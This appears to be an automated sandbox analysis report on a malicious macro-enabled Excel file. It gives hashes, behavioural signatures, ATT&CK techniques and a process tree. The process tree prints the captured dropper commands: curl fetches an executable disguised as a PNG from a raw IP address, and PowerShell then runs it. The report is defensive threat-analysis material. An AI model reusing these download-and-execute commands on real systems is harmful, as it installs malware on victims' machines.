9173221a937cf1ef14a7fcb5ee89c87162aaf60b6b901405827f43b1871d693b

General

Target

9173221a937cf1ef14a7fcb5ee89c87162aaf60b6b901405827f43b1871d693b.xlsm
Size

85KB
MD5

774c9db0d6227c94806074555e42db67
SHA1

071a3ce6e2fc5e2088bed0ad8bacb6ba71ab31ce
SHA256

9173221a937cf1ef14a7fcb5ee89c87162aaf60b6b901405827f43b1871d693b
SHA512

7cfb01b260b183476a81121ff63053ecf5b93ac1ac345055aefc3c6e4b8def5545f854ca0d0198cf2124dc6fa87fd09eef3b8478672a1e148e12d2ff0476a15b

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1980	1948	powershell.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	524	1948	cmd.exe	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1948 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1980 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1980 powershell.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

EXCEL.EXE

pid process

1948 EXCEL.EXE
1948 EXCEL.EXE
1948 EXCEL.EXE
1948 EXCEL.EXE
1948 EXCEL.EXE
1948 EXCEL.EXE

pid	process
1948	EXCEL.EXE

pid	process
1980	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1980	powershell.exe

pid	process
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 1948 wrote to memory of 1980	1948	EXCEL.EXE	powershell.exe
PID 1948 wrote to memory of 1980	1948	EXCEL.EXE	powershell.exe
PID 1948 wrote to memory of 1980	1948	EXCEL.EXE	powershell.exe
PID 1948 wrote to memory of 1980	1948	EXCEL.EXE	powershell.exe
PID 1948 wrote to memory of 524	1948	EXCEL.EXE	cmd.exe
PID 1948 wrote to memory of 524	1948	EXCEL.EXE	cmd.exe
PID 1948 wrote to memory of 524	1948	EXCEL.EXE	cmd.exe
PID 1948 wrote to memory of 524	1948	EXCEL.EXE	cmd.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\9173221a937cf1ef14a7fcb5ee89c87162aaf60b6b901405827f43b1871d693b.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1948

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\oRTDX.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1980

C:\Windows\SysWOW64\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\oRTDX.exe
2⤵
- Process spawned unexpected child process
PID:524

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/524-64-0x0000000000000000-mapping.dmp

Download
memory/1948-61-0x0000000070FB1000-0x0000000070FB3000-memory.dmp

Filesize
8KB

Download
memory/1948-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1948-60-0x000000002F111000-0x000000002F114000-memory.dmp

Filesize
12KB

Download
memory/1980-70-0x0000000002550000-0x0000000002551000-memory.dmp

Filesize
4KB

Download
memory/1980-79-0x0000000005850000-0x0000000005851000-memory.dmp

Filesize
4KB

Download
memory/1980-66-0x0000000000580000-0x0000000000581000-memory.dmp

Filesize
4KB

Download
memory/1980-67-0x0000000004920000-0x0000000004921000-memory.dmp

Filesize
4KB

Download
memory/1980-68-0x00000000048E0000-0x00000000048E1000-memory.dmp

Filesize
4KB

Download
memory/1980-69-0x00000000048E2000-0x00000000048E3000-memory.dmp

Filesize
4KB

Download
memory/1980-63-0x0000000000000000-mapping.dmp

Download
memory/1980-71-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

Download
memory/1980-74-0x00000000057C0000-0x00000000057C1000-memory.dmp

Filesize
4KB

Download
memory/1980-65-0x0000000075511000-0x0000000075513000-memory.dmp

Filesize
8KB

Download
memory/1980-80-0x0000000006550000-0x0000000006551000-memory.dmp

Filesize
4KB

Download
memory/1980-87-0x00000000063A0000-0x00000000063A1000-memory.dmp

Filesize
4KB

Download
memory/1980-88-0x000000007EF20000-0x000000007EF21000-memory.dmp

Filesize
4KB

Download
memory/1980-89-0x00000000065E0000-0x00000000065E1000-memory.dmp

Filesize
4KB

Download
memory/1980-90-0x00000000062F0000-0x00000000062F1000-memory.dmp

Filesize
4KB

Download
memory/1980-104-0x00000000064A0000-0x00000000064A1000-memory.dmp

Filesize
4KB

Download
memory/1980-105-0x00000000064B0000-0x00000000064B1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads